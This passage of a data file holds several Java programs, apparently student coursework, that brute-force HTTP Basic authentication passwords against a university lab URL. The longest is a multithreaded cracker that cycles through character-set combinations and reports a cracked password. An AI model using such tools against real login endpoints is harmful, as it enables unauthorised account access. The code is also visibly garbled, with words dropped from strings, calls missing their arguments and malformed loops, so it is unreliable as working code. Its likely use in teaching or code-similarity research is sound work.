    public static String Base64Encode(String s) {
        byte[] bb = s.getBytes();
        byte[] b  = bb;
        char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
        'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
        '0','1','2','3','4','5','6','7','8','9','+','/' };
        if (bb.length % 3!=0) {
            int x1 = bb.length;
            
            b = new byte[(x1/3+1)*3];
            int x2 = b.length;
            
            for(int i=0;i<x1;i++)
                b[i] = bb[i];
            for(int i=x1;i<x2;i++)
                b[i] = 0;
        }
        
        char[] c = new char[b.length/3*4];
        
        int i=0, j=0;
        while (i+3<=b.length) {
            c[j]     = table[(b[i]   >>  2)];
            c[j+1]   = table[(b[i+1] >>  4) | ((b[i]   &  3) << 4)];
            c[j+2]   = table[(b[i+2] >>  6) | ((b[i+1] & 15) << 2)];
            c[j+3]   = table[(b[i+2] &  63)];
            i+=3;
            j+=4;
        }
        
        j = c.length-1;
        while (c[j]=='A') {
            c[j]='=';
            j--;
        }
        
        return String.valueOf(c);
    }
    
    
    public synchronized void getAccumulatedLocalAttempt() {
        attempt = 0;
        for (int i=0;i<MAXTHREAD;i++) {
            attempt += threads[i].getLocalAttempt();
        }
    }
    
    
    public synchronized void printStatusReport(String Attempt, String currprogress,String ovrl, double[] attmArr, int idx) {
        DecimalFormat fmt = new DecimalFormat();
        fmt.applyPattern(""0.00"");
        
        System.out.println();
        System.out.println("" ------------------------ [ CURRENT STATISTICS ] ---------------------------"");
        System.out.println();
        System.out.println(""  Current connections   : ""+curconn);
        System.out.println(""  Current progress      : ""+attempt+ "" of ""+ALLCOMBI+"" (""+currprogress+""%)"");
        System.out.println(""  Overall Attempts rate : ""+ovrl+"" attempts  second (approx.)"");
        System.out.println();
        System.out.println("" ---------------------------------------------------------------------------"");
        System.out.println();
    }
    
    
    public class MyTT extends TimerTask {
        
        public synchronized void run() {
            
            
            if (count==REPORT_INTERVAL) {
                
                DecimalFormat fmt = new DecimalFormat();
                fmt.applyPattern(""0.00"");
                
                
                getAccumulatedLocalAttempt();
                double p = (double)attempt/(double)ALLCOMBI*100;
                
                
                double aps = (double) (attempt - attm) / REPORT_INTERVAL;
                
                
                attmArr[attmArrIdx++] = aps;
                
                
                printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx);
                count = 0;
            } else
                
                if (count==0) {
                    getAccumulatedLocalAttempt();
                    attm = attempt;
                    count++;
                } else {
                    count++;
                }
        }
        
        
        public synchronized double getOverallAttemptPerSec() {
            double val = 0;
            for (int i=0;i<attmArrIdx;i++) {
                 val+= attmArr[i];
            }
            return val / attmArrIdx;
        }
        
        private int      count = 0;
        private   int   attm;
        private int      attmArrIdx = 0;
        private double[] attmArr = new double[2*60*60/10]; 
    }
    
    
    public synchronized void interruptAll(int ID) {
        for (int i=0;i<MAXTHREAD;i++) {
            if ((threads[i].isAlive()) && (i!=ID)) {
                threads[i].interrupt();
            }
            notifyAll();
        }
    }
    
    
    
    public synchronized void setSuccess(int ID, String p) {
        passw   = p;
        success = ID;
        notifyAll();
        interruptAll(ID);
        
        
        end = System.currentTimeMillis();
    }
    
    
    public synchronized boolean isSuccess() {
        return (success>=0);
    }
    
    
    
    public synchronized void waitUntilAllTerminated() {
        while (curconn>0) {
            try {
                wait();
            } catch (InterruptedException e) {}
        }
    }
    
    
    
    
    public synchronized int waitUntilOK2Connect() {
        boolean interruptd= false;
        int idx = -1;
        
        
        
        
        while (curconn>=MAXCONN) {
            try {
                wait();
            } catch (InterruptedException e) { interruptd = true; }
        }
        
        
        
        if (!interruptd) {
            
            curconn++;
            for (idx=0;idx<MAXCONN;idx++)
                if (!connused[idx]) {
                    connused[idx] = true;
                    break;
                }
            
            notifyAll();
        }
        
        
        return idx;
    }
    
    
    public synchronized void decreaseConn(int idx) {
        curconn--;
        connused[idx] = false;
        
        
        notifyAll();
    }
    
    
    public class ThCrack extends Thread {
        
        
        public ThCrack(int threadID, int startidx, int endidx) {
            super("" Thread #""+String.valueOf(threadID)+"": "");
            this.ID       = threadID;
            this.startidx = startidx;
            this.endidx   = endidx;
            
            setDaemon(true);
        }
        
        
        public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException {
            int i ;
            String msg;
            
            
            URL tryURL = new URL(THEURL);
            
            
            connections[connID]=(HttpURLConnection) tryURL.openConnection();
            
            
            connections[connID].setRequestProperty(""Authorization"","" ""+Base64Encode(USERNAME+"":""+thePass));
            
            
            i = connections[connID].getResponseCode();
            msg  = connections[connID].getResponseMessage();
            connections[connID].disconnect();
            
            
            if (i==HttpURLConnection.HTTP_OK) {
                
                System.out.println(ID+""Trying '""+thePass+""' GOTCHA !!! (= ""+String.valueOf()+""-""+msg+"")."");
                setSuccess(this.ID,thePass);
                return (true);
            } else {
                
                System.out.println(ID+""Trying '""+thePass+""' FAILED (= ""+String.valueOf()+""-""+msg+"")."");
                return (false);
            }
        }
        
        
        public void rest(int msec) {
            try { sleep(msec); } catch (InterruptedException e) {}
        }
        
        
        
        public String constructPassword( int idx) {
            int     i = idxLimit.length-2;
            boolean processed = false;
             
            String result = """";
            while (i>=0) {
                if (idx>=idxLimit[i]) {
                    int nchar = i + 1;
                    idx-=idxLimit[i];
                    for (int j=0;j<nchar;j++) {
                        x = (idx % NCHAR);
                        result = charset.charAt((int) x) + result;
                        idx /= NCHAR;
                    }
                    break;
                }
                i--;
            }
            
            return result;
        }
        
        
        public String getStartStr() {
            return constructPassword(this.startidx);
        }
        
        
        public String getEndStr() {
            return constructPassword(this.endidx);
        }
        
        
        public void run() {
             i = startidx;
            boolean keeprunning = true;
            while ((!isSuccess()) && (i<=endidx) && (keeprunning)) {
                
                
                int idx = waitUntilOK2Connect();
                
                
                if (idx==-1) {
                    
                    break;
                }
                
                try {
                    
                    launchRequest(getName(), idx, constructPassword(i));
                    
                    decreaseConn(idx);
                    
                    localattempt++;
                    
                    
                    rest(MAXCONN);
                    i++;
                } catch (InterruptedException e) {
                    
                    
                    keeprunning = false;
                    break;
                } catch (IOException e) {
                    
                    
                    
                    
                    
                    decreaseConn(idx);
                }
            }
            
            
            if (success==this.ID) {
                waitUntilAllTerminated();
            }
        }
        
        
        public int getLocalAttempt() {
            return localattempt;
        }
        
        private int startidx,endidx;
        private int ID;
        private int localattempt = 0;
    }
    
    
    public void printProgramHeader(String mode,int nThread) {
        System.out.println();
        System.out.println("" ********************* [ BRUTE-FORCE CRACKING SYSTEM ] *********************"");
        System.out.println();
        System.out.println(""  URL         : ""+THEURL);
        System.out.println(""  Crack Mode  : ""+mode);
        System.out.println(""  Characters  : ""+charset);
        System.out.println(""  . Char   : ""+MINCHAR);
        System.out.println(""  . Char   : ""+MAXCHAR);
        System.out.println(""  # of Thread : ""+nThread);
        System.out.println(""  Connections : ""+MAXCONN);
        System.out.println(""  All Combi.  : ""+ALLCOMBI);
        System.out.println();
        System.out.println("" ***************************************************************************"");
        System.out.println();
    }
    
    
    public void startNaiveCracking() {
        MAXTHREAD = 1;
        MAXCONN   = 1;
        startDistCracking();
    }
    
    
    public void startDistCracking() {
         int startidx,endidx;
        int   thcount;
        
        
        if (isenhanced) {
            printProgramHeader(""ENHANCED BRUTE-FORCE CRACKING ALGORITHM"",MAXTHREAD);
        } else {
            printProgramHeader(""NAIVE BRUTE-FORCE CRACKING ALGORITHM"",MAXTHREAD);
        }
        
        
        i = System.currentTimeMillis();
        
         idxstart = idxLimit[MINCHAR-1];
        
        
        
        
        
        
        if (MAXTHREAD>ALLCOMBI - idxstart) { MAXTHREAD = (int) (ALLCOMBI-idxstart); }
         mult = (ALLCOMBI - idxstart) / MAXTHREAD;
        
        
        
        for (thcount=0;thcount<MAXTHREAD-1;thcount++) {
            startidx = thcount*mult + idxstart;
            endidx   = (thcount+1)*mult-1 + idxstart;
            threads[thcount] = new ThCrack(thcount, startidx, endidx);
            System.out.println(threads[thcount].getName()+"" try  crack from '""+threads[thcount].getStartStr()+""'  '""+threads[thcount].getEndStr()+""'"");
        }
        
        
        
        
        
        startidx = (MAXTHREAD-1)*mult + idxstart;
        endidx   = ALLCOMBI-1;
        threads[MAXTHREAD-1] = new ThCrack(MAXTHREAD-1, startidx, endidx);
        System.out.println(threads[MAXTHREAD-1].getName()+"" try  crack from '""+threads[MAXTHREAD-1].getStartStr()+""'  '""+threads[MAXTHREAD-1].getEndStr()+""'"");
        
        System.out.println();
        System.out.println("" ***************************************************************************"");
        System.out.println();
        
        
        for (int i=0;i<MAXTHREAD;i++)
            threads[i].print();
    }
    
    
    public BruteForce() {
        
        if (isenhanced) {
            startDistCracking();
        } else {
            startNaiveCracking();
        }
        
        
        reportTimer  = new java.util.Timer();
        MyTT      tt = new MyTT();
        reportTimer.schedule(tt,1000,1000);
        
        
        while ((success==-1) && (attempt<ALLCOMBI)) {
            try { Thread.sleep(100); getAccumulatedLocalAttempt(); } catch (InterruptedException e) {  }
        }
        
        
        if (success==-1) {
            end = System.currentTimeMillis();
        }
        
        
        getAccumulatedLocalAttempt();
        
        double ovAps = tt.getOverallAttemptPerSec();
        DecimalFormat fmt = new DecimalFormat();
        fmt.applyPattern(""0.00"");
        
        
        reportTimer.cancel();
        
        
        try { Thread.sleep(1000); } catch (InterruptedException e) {  }
        
        
        synchronized (this) {
            if (success>=0) {
                System.out.println();
                System.out.println("" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************"");
                System.out.println();
                System.out.println(""  The password is     : ""+passw);
                System.out.println(""  Number of attempts  : ""+attempt+"" of ""+ALLCOMBI+"" total combinations"");
                System.out.println(""  Attempt position    : ""+fmt.format((double)attempt/(double)ALLCOMBI*100)+""%"");
                System.out.println(""  Overal attempt rate : ""+fmt.format(ovAps)+ "" attempts/sec"");
                System.out.println(""  Cracking time       : ""+String.valueOf(((double)end-(double)d)/1000) + "" seconds"");
                System.out.println(""  Worstcase time estd : ""+fmt.format(1/ovAps*ALLCOMBI)+ "" seconds"");
                System.out.println();
                System.out.println("" ***************************************************************************"");
                System.out.println();
            } else {
                System.out.println();
                System.out.println("" ********************* [ UNABLE  CRACK THE URL !!! ] *********************"");
                System.out.println();
                System.out.println(""  Number of attempts  : ""+attempt+"" of ""+ALLCOMBI+"" total combinations"");
                System.out.println(""  Attempt position    : ""+fmt.format((double)attempt/(double)ALLCOMBI*100)+""%"");
                System.out.println(""  Overal attempt rate : ""+fmt.format(ovAps)+ "" attempts/sec"");
                System.out.println(""  Cracking time       : ""+String.valueOf(((double)end-(double)d)/1000) + "" seconds"");
                System.out.println();
                System.out.println("" ***************************************************************************"");
                System.out.println();
            }
        }
    }
    
    
    public static void printSyntax() {
        System.out.println();
        System.out.println(""Syntax : BruteForce [mode] [URL] [charset] [] [] [username]"");
        System.out.println();
        System.out.println(""   mode     : (opt) 0 - NAIVE Brute force mode"");
        System.out.println(""                        (trying from the first  the last combinations)"");
        System.out.println(""                    1 - ENHANCED Brute force mode"");
        System.out.println(""                        (dividing cracking jobs  multiple threads) (default)"");
        System.out.println(""   URL      : (opt) the URL  crack "");
        System.out.println(""                    (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)"");
        System.out.println(""   charset  : (optional) the character set used  crack."");
        System.out.println(""              - (default)"");
        System.out.println(""                 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"");
        System.out.println(""              -alphanum       "");
        System.out.println(""                 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"");
        System.out.println(""              -alphalow       "");
        System.out.println(""                 abcdefghijklmnopqrstuvwxyz"");
        System.out.println(""              -alphaup        "");
        System.out.println(""                 ABCDEFGHIJKLMNOPQRSTUVWXYZ"");
        System.out.println(""              -number         "");
        System.out.println(""                 1234567890"");
        System.out.println(""               [custom] e.g. aAbB123"");
        System.out.println(""   ,  : (optional) range of characters   applied in the cracking"");
        System.out.println(""                         where  1   <=  <= 10  (default  = 1)"");
        System.out.println(""                                 <=  <= 10  (default  = 3)"");
        System.out.println(""   username : (optional) the username that is used  crack"");
        System.out.println();
        System.out.println(""   NOTE: The optional parameters 'charset','','', and 'username'"");
        System.out.println(""         have   specified altogether  none at all."");
        System.out.println(""         For example, if [charset] is specified, then [], [], and"");
        System.out.println(""         [username] have   specified as well. If none of them  specified,"");
        System.out.println(""         default values   used."");
        System.out.println();
        System.out.println(""   Example of invocation :"");
        System.out.println(""         java BruteForce "");
        System.out.println(""         java BruteForce 0"");
        System.out.println(""         java BruteForce 1 http://localhost/tryme.php"");
        System.out.println(""         java BruteForce 0 http://localhost/tryme.php - 1 3 "");
        System.out.println(""         java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 "");
        System.out.println();
        System.out.println();
    }
    
    
    
    
    
    
    
    
    public static void countIdxLimit() {
        idxLimit = new int[MAXCHAR+1];
        
        NCHAR    = charset.length();
        ALLCOMBI = 0;
        for (int i=0;i<=MAXCHAR;i++) {
            if (i==0) {
                idxLimit[i] = 0;
            } else {
                idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i);
            }
        }
        
        ALLCOMBI = idxLimit[idxLimit.length-1];
    }
    
    
    public static void paramCheck(String[] args) {
        int argc = args.length;
        
        
        try {
            switch (Integer.valueOf(args[0]).intValue()) {
                case 0: {
                    isenhanced = false;
                } break;
               case  1: {
                    isenhanced = true;
                } break;
                default:
                    System.out.println(""Syntax error : invalid mode '""+args[0]+""'"");
                    printSyntax();
                    System.exit(1);
            }
        } catch (NumberFormatException e) {
            System.out.println(""Syntax error : invalid number '""+args[0]+""'"");
            printSyntax();
            System.exit(1);
        }
        
        if (argc>1) {
            try {
                
                URL u  = new URL(args[1]);
                
                
                try {
                    HttpURLConnection conn = (HttpURLConnection) u.openConnection();
                    
                    switch (conn.getResponseCode()) {
                        case HttpURLConnection.HTTP_ACCEPTED:
                       case  HttpURLConnection.HTTP_OK:
                       case  HttpURLConnection.HTTP_NOT_AUTHORITATIVE:
                       case  HttpURLConnection.HTTP_FORBIDDEN:
                       case  HttpURLConnection.HTTP_UNAUTHORIZED:
                            break;
                        default:
                            
                            
                            System.out.println(""Unable  open connection  the URL '""+args[1]+""'"");
                            System.exit(1);
                    }
                } catch (IOException e) {
                    System.out.println(e);
                    System.exit(1);
                }
                
                THEURL = args[1];
            } catch (MalformedURLException e) {
                
                System.out.println(""Invalid URL '""+args[1]+""'"");
                printSyntax();
                System.exit(1);
            }
        }
        
        
        if (argc==6) {
            try {
                MINCHAR = Integer.valueOf(args[3]).intValue();
            } catch (NumberFormatException e) {
                System.out.println(""Invalid  range number value '""+args[3]+""'"");
                printSyntax();
                System.exit(1);
            }
            
            try {
                MAXCHAR = Integer.valueOf(args[4]).intValue();
            } catch (NumberFormatException e) {
                System.out.println(""Invalid  range number value '""+args[4]+""'"");
                printSyntax();
                System.exit(1);
            }
            
            if ((MINCHAR<1) || (MINCHAR>10)) {
                System.out.println(""Invalid  range number value '""+args[3]+""' (must between 0 and 10)"");
                printSyntax();
                System.exit(1);
            } else
                if (MINCHAR>MAXCHAR) {
                    System.out.println(""Invalid  range number value '""+args[3]+""' (must lower than the  value)"");
                    printSyntax();
                    System.exit(1);
                }
            
            if (MAXCHAR>10) {
                System.out.println(""Invalid  range number value '""+args[4]+""' (must between  value and 10)"");
                printSyntax();
                System.exit(1);
            }
            
            if (args[2].toLowerCase().equals(""-"")) {
                charset = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"";
            } else
                if (args[2].toLowerCase().equals(""-alphanum"")) {
                    charset = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"";
                } else
                    if (args[2].toLowerCase().equals(""-alphalow"")) {
                        charset = ""abcdefghijklmnopqrstuvwxyz"";
                    } else
                        if (args[2].toLowerCase().equals(""-alphaup"")) {
                            charset = ""ABCDEFGHIJKLMNOPQRSTUVWXYZ"";
                        } else
                            if (args[2].toLowerCase().equals(""-number"")) {
                                charset = ""1234567890"";
                            } else {
                                charset = args[2];
                            }
            
            USERNAME = args[5];
        } else
            if ((argc>2) && (argc<6)) {
                System.out.println(""Please specify the [charset], [], [], and [username] altogether  none at all"");
                printSyntax();
                System.exit(1);
            } else
                if ((argc>2) && (argc>6)) {
                    System.out.println(""The number of parameters expected is not more than 6. "");
                    System.out.println("" have specified more than 6 parameters."");
                    printSyntax();
                    System.exit(1);
                }
    }
    
    public static void main (String[] args) {
        
        charset = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"";
        MINCHAR = 1;
        MAXCHAR = 3;
        
        
        if (args.length==0) {
            args    = new String[6];
            args[0] = String.valueOf(1); 
            args[1] = THEURL;
            args[2] = ""-"";
            args[3] = String.valueOf(MINCHAR);
            args[4] = String.valueOf(MAXCHAR);
            args[5] = USERNAME;
        }
        
        
        paramCheck(args);
        
        countIdxLimit();
        
        
        Application = new BruteForce();
    }
    
    public static BruteForce Application;
    public static String    THEURL = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php"";
    public static boolean   isenhanced; 
    public static String    passw  = """";   
    
    public static final int REPORT_INTERVAL = 10; 
    public static int       MAXTHREAD =  50;      
    public static int       MAXCONN   =  50;      
    public static int	    curconn   =   0;      
    public static int       success   =  -1;      
    
    public static String    USERNAME = """";  
    public static int       MINCHAR;              
    public static int       MAXCHAR;              
    public static  int     ALLCOMBI;             
    
    public static   int start   ,end;            
    
    
    public static java.util.Timer   reportTimer; 
    public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN]; 
    public static boolean	    connused[]    = new boolean[MAXCONN];           
    public        ThCrack[] threads               = new ThCrack[MAXTHREAD];         
    public static    int   attempt               = 0; 
    public static int    idxLimit; 
    public static String    charset;  
    public static int       NCHAR;    
}
"
015.java,"



public class HoldSharedData
{
    private int      numOfConnections = 0;
    private   int   startTime;
    private   int   totalTime = 0;
    private String[] password;
    private int      pwdCount;

    public HoldSharedData( int time, String[] pwd, int count )
    {
        startTime = time;

        password = pwd;
        pwdCount = count;
    }

    public int getPwdCount()
    {
        return pwdCount;
    }

    public void setNumOfConnections( )
    {
        numOfConnections ++;
    }

    public int getNumOfConnections()
    {
        return numOfConnections;
    }

    public int getStartTime()
    {
        return startTime;
    }

    public void setTotalTime( int newTotalTime )
    {
        totalTime = newTotalTime;
    }

    public int  getTotalTime()
    {
        return totalTime;
    }

    public String getPasswordAt( int index )
    {
        return password[index];
    }
}  
"
035.java,"
import java.io.*;
import java.util.*;
import java.text.*;
import java.net.*;



public class BruteForce 
{
                                    
    
    
    private  int consonantUpperBound = CrackingConstants.consonantUpperBound;
    private  int consonantLowerBound = CrackingConstants.consonantLowerBound;
    private  int vowelUpperBound = CrackingConstants.vowelUpperBound;
    private  int vowelLowerBound = CrackingConstants.vowelLowerBound;
    
    
    
    
    private int verbose = CrackingConstants.quietMode;
    private int scanType = CrackingConstants.casedScan;

    private int passwordsTried = 0;
 
	
	
	public static void main(String args[])
	{
		 int tStart;
		 int tFinish;
 		DateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);
	        
	    BruteForce  pwForcer = new BruteForce();

	    if(args.length > 0)
	    {
	        for(int i = 0; i < args.length; i++)
	        {
        		if((args[i].indexOf(""-h"") > -1) || (args[i].indexOf(""-H"") > -1))
        		    {
        			System.out.println(""\n-s  -S\tonly tests lower  passwords."");
        			System.out.println(""\n-v\tprints the patterns as    tried."");
        			System.out.println(""-V\tprints out the patterns and the passwords as    generated. \n\tThis option slows the program considerably.\n"");
        			return;
        		    }	
        		else if(args[i].indexOf(""-v"") > -1) 
        		    pwForcer.verbose = CrackingConstants.verboseMode1;
        		else if(args[i].indexOf(""-V"") > -1)
        		    pwForcer.verbose = CrackingConstants.verboseMode2;
        		else if((args[i].indexOf(""-s"") > -1) || (args[i].indexOf(""-S"") > -1))
        		    pwForcer.scanType = CrackingConstants.simpleScan;
		    }
	    }

        
	    System.out.println(""\n\n********************************\n"");
		System.out.println(""Starting brute force run at "" + 
		    longTimestamp.format(new Date()));
		if(args.length > 0)
		{
			String arguments = """";
			for( i =0; i < args.length; i++)
				arguments += args[i] + "" "";
			System.out.println(""\nOptions: "" + arguments + ""\n"");
		}
		if(pwForcer.scanType == CrackingConstants.simpleScan)
    	    System.out.println(""Only lower  passwords  tried."");
    	else
    	    System.out.println(""Both lower and upper  passwords  tried."");
	    System.out.println(""\n********************************\n"");

	    tStart = System.currentTimeMillis();
	    pwForcer.run();
	    tFinish = System.currentTimeMillis();
	    
        if (pwForcer.scanType == CrackingConstants.casedScan)
        {
	        
    	    
	        
	        
	        System.out.println (""\n\n"" + pwForcer.passwordsTried + "" passwords were generated (out of a possible "" + (26 * 26 * 26 * 8) + "")"");
	        System.out.println (""That is "" + pwForcer.passwordsTried/8  + "" unique three letter combinations were tried (out of a possible "" + (26 * 26 * 26) + "")"");
        }
        else
        {
    	    System.out.println (""\n\n"" + pwForcer.passwordsTried + "" passwords were generated (out of a possible "" + (26 * 26 * 26) + "")\n"");
        }
        
	    
	    System.out.println(""\n********************************\n"");
		System.out.println(""Finished brute force run at "" + 
		    longTimestamp.format(new Date()));
		System.out.println(""Time taken: "" + ((tFinish - tStart)/1000) + "" seconds"");
	    System.out.println(""\n********************************"");
	}   

	
    public BruteForce()
    {
    }   

	
    private void run()
    {
        
        
         leftIndex = 0;
         midIndex = 0;
         rightIndex = 0;
        
        
		
        
    	if(verbose > CrackingConstants.quietMode)
    	    System.out.println(""Trying stutters (AAA, aaa, etc.)"");
        for( i = vowelLowerBound; i <= consonantUpperBound; i++)
        {
            leftIndex = i;
            midIndex = i;
            rightIndex = i;
            if(tryLogin(leftIndex, midIndex, rightIndex))
               return;
        }
            
        
    	if(verbose > CrackingConstants.quietMode)
    	    System.out.println(""Trying consonant-vowel-consonant patterns."");
        for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound; leftIndex++)
            for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound; midIndex++)
                for (rightIndex = consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++)
                    if(tryLogin(leftIndex, midIndex, rightIndex))
                        return;
            
        
    	if(verbose > CrackingConstants.quietMode)
    	    System.out.println(""Trying consonant-vowel-vowel patterns."");
        for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound; leftIndex++)
            for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound; midIndex++)
                for (rightIndex = vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)
                    if(tryLogin(leftIndex, midIndex, rightIndex))
                        return;
            
        
    	if(verbose > CrackingConstants.quietMode)
    	    System.out.println(""Trying vowel-consonant-vowel patterns."");
        for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++)
            for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound; midIndex++)
                for (rightIndex = vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)
                    if(tryLogin(leftIndex, midIndex, rightIndex))
                        return;
    
        
    	if(verbose > CrackingConstants.quietMode)
    	    System.out.println(""Trying vowel-consonant-consonant patterns."");
        for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++)
            for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound; midIndex++)
                for (rightIndex = consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++)
                    if(tryLogin(leftIndex, midIndex, rightIndex))
                        return;
    
        
    	if(verbose > CrackingConstants.quietMode)
    	    System.out.println(""Trying vowel-vowel-consonant patterns."");
        for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++)
            for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound; midIndex++)
                for (rightIndex = consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++)
                    if(tryLogin(leftIndex, midIndex, rightIndex))
                        return;
            
        
    	if(verbose > CrackingConstants.quietMode)
    	    System.out.println(""Trying consonant-consonant-vowel patterns."");
        for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound; leftIndex++)
            for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound; midIndex++)
                for (rightIndex = vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)
                    if(tryLogin(leftIndex, midIndex, rightIndex))
                        return;
            
        
    	if(verbose > CrackingConstants.quietMode)
    	    System.out.println(""Trying  remaining vowel-vowel-vowel patterns."");
        for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++)
            for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound; midIndex++)
                for (rightIndex = vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)
                    if((leftIndex == midIndex) && (leftIndex == rightIndex))
                    {
                        
                    }
                    else
                    {
                        if(tryLogin(leftIndex, midIndex, rightIndex))
                            return;
                    }
            
        
    	if(verbose > CrackingConstants.quietMode)
    	    System.out.println(""Trying  remaining consonant-consonant-consonant patterns."");
        for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound; leftIndex++)
            for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound; midIndex++)
                for (rightIndex = consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++)
                    if((leftIndex == midIndex) && (leftIndex == rightIndex))
                    {
                        
                    }
                    else
                    {
                        if(tryLogin(leftIndex, midIndex, rightIndex))
                            return;
                    }
        
    	if(verbose > CrackingConstants.quietMode)
    	    System.out.println(""Trying monographs (A, a, etc.)"");
        for ( i = 0; i <= consonantUpperBound; i++)
        {
            leftIndex = i;
            midIndex = -1;
            rightIndex = -1;
            if(tryLogin(leftIndex, midIndex, rightIndex))
               return;
        }
        
        
        
    	if(verbose > CrackingConstants.quietMode)
    	    System.out.println(""Trying bigraphs (AA, aa, etc.)"");
        for( i = 0; i <= consonantUpperBound; i++)
        {
        	for( j = 0; j <= consonantUpperBound; j++)
        	{
            	leftIndex = i;
            	midIndex = j;
        	    rightIndex = -1;
    	        if(tryLogin(leftIndex, midIndex, rightIndex))
	               return;
            }
        }
        
        return;
     }   

	
    private boolean tryLogin( int leftIndex, int midIndex, int rightIndex)
    {
        
        LoginAttempt login = new LoginAttempt();
        LoginAttemptResults results = new LoginAttemptResults();

        
        CasePasswords casedPasswords = new CasePasswords(verbose);

        
        
        String tail = """";

        results = login.tryPasswords(casedPasswords.createCasedPasswords(leftIndex, midIndex, rightIndex, tail, CrackingConstants.lowerChars, CrackingConstants.upperChars, scanType), passwordsTried);
        passwordsTried = results.getPasswordsTried();
        return results.getSuccess();
    }
         
} 
"
072.java,"







import java.net.*;
import java.io.*;
import java.util.*;


public class BruteForce
{
   public BruteForce()
   {
      try {
         URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2"");
         MyAuthenticator m = new MyAuthenticator();
         Authenticator userPassword = m.getPasswordAuthentication("": "", ""Z"");
         URLConnection uc = url.openConnection();
         HttpURLConnection http = (HttpURLConnection) uc;
         uc.setRequestProperty  (""Authorization"", "" "");
         
         
         System.out.println(""hello"");
         
         http.setRequestMethod(""POST"");
       } catch (MalformedURLException e) {
         System.out.println(""Invalid URL"");
       } catch (IOException e) {
         System.out.println(""Error  URL"");
       }
    }

public static void main (String args[]) {
   BruteForce gogetit = new BruteForce();
   }

class MyAuthenticator {
   Authenticator getPasswordAuthentication(String login, char password) {
      {

         
         for(int i = 0; i < 3; i++)
         {
            password = (char)(57.0 * Math.random() + 65);
            if ((password < 97) && (password > 90))
            {
               i--;
               continue;
            }
            login = login + password;
         }
     
      }while(uc.getURL()!= 401);   
     
   }
}

}
"
183.java,"

import java.awt.*;
import java.awt.event.*;
import java.io.*;
import java.net.*;

public class BruteForce extends Frame implements ActionListener {
	private TextField tf = new TextField();
    private TextArea  ta = new TextArea();

  	public void actionPerformed (ActionEvent e) {
		String s = tf.getText();
		String login="""";

		if (s.length() != 0)
		{
			char symbol = 'A';

			login="":"";
			
			for(int i = 0; i < 3; i++)
			{
				symbol = (char)(57.0 * Math.random() + 65);

				if(symbol>90 && symbol<97){
					i--;
					continue;
				}
				login=login+symbol;

			}

		    ta.setText (fetchURL (s,login));
		    System.out.println(""runing""+login);
		}while(ta.getText().compareTo(""Invalid URL"")!=0 || ta.getText().compareTo(""Error  URL"")!=0);

		System.out.println(""The password is: ""+login);
	}

	public BruteForce() {
		super (""SEC-CRACK"");

	    
	    add (tf, BorderLayout.LEFT);
	    ta.setEditable(false);
	    add (ta, BorderLayout.CENTER);
	    tf.addActionListener (this);

	    addWindowListener (new WindowAdapter() {
	       public void windowClosing (WindowEvent e) {
	         dispose();
	         System.exit(0);
	       }
	     });
	}

	private String fetchURL (String urlString,String login) {
		StringWriter sw = new StringWriter();
	    PrintWriter  pw = new PrintWriter();

	    try {
	       URL url = new URL (urlString);

	     
	
	       

	      
	       String encoding = new url.misc.BASE64Encoder().encode (login.getBytes());

	      
	       URLConnection uc = url.openConnection();
	       uc.setRequestProperty  (""Authorization"", "" "" + encoding);
	       InputStream content = (InputStream)uc.getInputStream();
	       BufferedReader in   =
	         new BufferedReader (new InputStreamReader (content));
	       String line;
	       while ((line = in.readLine()) != null) {
	         pw.println (line);
	       }
	     } catch (MalformedURLException e) {
	       pw.println (""Invalid URL"");
	     } catch (IOException e) {
	       pw.println (""Error  URL"");
	     }
	     return sw.toString();
	}


	public static void  main(String args[]) {
		Frame f = new BruteForce();
	    f.setSize(300, 300);
	    f.setVisible (true);
	}
}




class  Base64Converter
{
	public static final char [ ]  alphabet = {
        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',   
        'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',   
